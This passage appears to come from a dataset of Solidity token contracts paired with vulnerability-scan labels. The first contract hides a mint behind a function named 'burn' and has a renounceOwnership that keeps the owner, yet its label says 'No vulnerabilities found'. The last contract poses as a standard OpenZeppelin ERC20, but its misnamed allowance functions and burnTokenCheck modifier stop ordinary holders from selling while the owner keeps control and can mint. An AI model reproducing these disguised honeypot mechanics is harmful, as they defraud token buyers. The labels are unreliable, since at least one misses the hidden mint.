* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OwlSkull is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 500000 * 10**9 * 10**18;
string private _name = 'Owl Skull Token';
string private _symbol = 'OWUL';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(address receiver, uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(address(0), receiver, amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
/* CKBC
// Cinnamomum Kanehirae BlockChain (CKBC)
// ERC20 Contract with Timelock capabilities
// The big intricate timelock mechanisms out here
// ---
// ---
*/
/* an owner is required */
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
/* SafeMath implementation to guard against overflows */
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a); // checks for overflow
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b); // guard against overflow
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b); // checks for overflow
return c;
}
}
/* The main contract for the timelock capable ERC20 token */
contract Token is SafeMath, Owned {
uint256 constant DAY_IN_SECONDS = 86400;
string public constant standard = "0.777";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceP;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256[]) public lockTime;
mapping (address => uint256[]) public lockValue;
mapping (address => uint256) public lockNum;
mapping (address => bool) public locker;
uint256 public later = 0;
uint256 public earlier = 0;
/* standard ERC20 events */
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/* custom lock-related events */
event TransferredLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
/* ERC20 constructor */
function Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceP[msg.sender] = _totalSupply;
}
/* don't allow zero address */
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
/* owner may add & remove optional locker contract */
function addLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = true;
}
function removeLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = false;
}
/* owner may fast-forward or delay ALL timelocks */
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
/* shows unlocked balance */
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* shows locked balance */
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* standard ERC20 compatible balance accessor */
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
/* show the timelock periods and locked values */
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) {
return lockValue[_address];
}
/* calculates and handles the timelocks before related operations */
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) > add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
/* emit timelock expiration event */
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
/* ERC20 compliant transfer method */
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
if (balanceP[msg.sender] >= _value && _value > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/* custom timelocked transfer method */
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[msg.sender] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
/* emit custom timelock event */
emit TransferredLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
/* emit standard transfer event */
emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
/* custom timelocked method */
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[_from] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
/* emit custom timelock event */
emit TransferredLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
/* emit standard transfer event */
emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
/* standard ERC20 compliant transferFrom method */
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
if (balanceP[_from] >= _value && _value > 0) {
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/* standard ERC20 compliant approve method */
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* safety method against ether transfer */
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
